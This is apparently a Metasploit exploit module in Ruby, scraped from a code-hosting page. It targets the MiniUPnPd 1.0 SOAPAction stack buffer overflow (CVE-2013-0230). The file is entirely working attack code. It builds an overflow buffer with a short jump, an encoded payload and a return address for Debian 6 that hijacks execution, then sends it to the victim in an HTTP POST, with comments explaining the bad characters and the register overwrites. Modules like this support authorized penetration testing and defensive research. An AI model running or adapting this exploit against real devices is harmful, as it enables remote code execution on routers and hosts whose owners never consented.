125 lines
3.9 KiB
Ruby
125 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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Rank = NormalRanking
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
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'Description' => %q{
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This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
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present in the SOAPAction HTTP header handling.
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},
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'Author' =>
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[
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'hdm', # Vulnerability discovery
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'Dejan Lukan' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => { 'EXITFUNC' => 'process', },
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# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
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# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
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# of the program is never reached)
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'Payload' =>
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{
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'Space' => 2060,
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'BadChars' => "\x00\x22",
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'DisableNops' => true
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},
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'Platform' => 'linux',
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'References' =>
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[
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[ 'CVE', '2013-0230' ],
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[ 'OSVDB', '89624' ],
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[ 'BID', '57608' ],
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[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
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],
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'Targets' =>
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[
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[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
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{
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'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
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'Offset' => 2123
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}
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],
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => 'Mar 27 2013',
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))
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register_options([
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Opt::RPORT(5555),
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], self.class)
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end
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def exploit
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#
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# Build the SOAP Exploit
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#
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# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
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sploit = "\xeb\x2d"
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# a valid action
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sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
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# payload
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sploit += payload.encoded
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# nops
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sploit += rand_text(target['Offset'] - sploit.length - 16)
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# overwrite registers on stack: the values are not used, so we can overwrite them with anything
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sploit += rand_text(4) # overwrite EBX
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sploit += rand_text(4) # overwrite ESI
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sploit += rand_text(4) # overwrite EDI
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sploit += rand_text(4) # overwrite EBP
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# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
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# stack points directly to the string after 'Soapaction: ', which is why we must
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# throw the first value on the stack away, which we're doing with the pop ebp
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# instruction. Then we're returning to the next value on the stack, which is
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# exactly the address that we want.
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sploit += [target.ret].pack('V')
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# the ending " character is necessary for the vulnerability to be reached
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sploit += "\""
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# data sent in the POST body
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data =
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"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
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"<SOAP-ENV:Envelope\r\n" +
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" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
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" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
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">\r\n" +
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"<SOAP-ENV:Body>\r\n" +
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"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
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"</ns1:action>\r\n" +
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"</SOAP-ENV:Body>\r\n" +
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"</SOAP-ENV:Envelope>\r\n"
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#
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# Build and send the HTTP request
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#
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print_status("Sending exploit to victim #{target.name} at ...")
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send_request_cgi({
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'method' => 'POST',
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'uri' => "/",
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'headers' => {
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'SOAPAction' => sploit,
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},
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'data' => data,
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})
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# disconnect from the server
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disconnect
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end
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end
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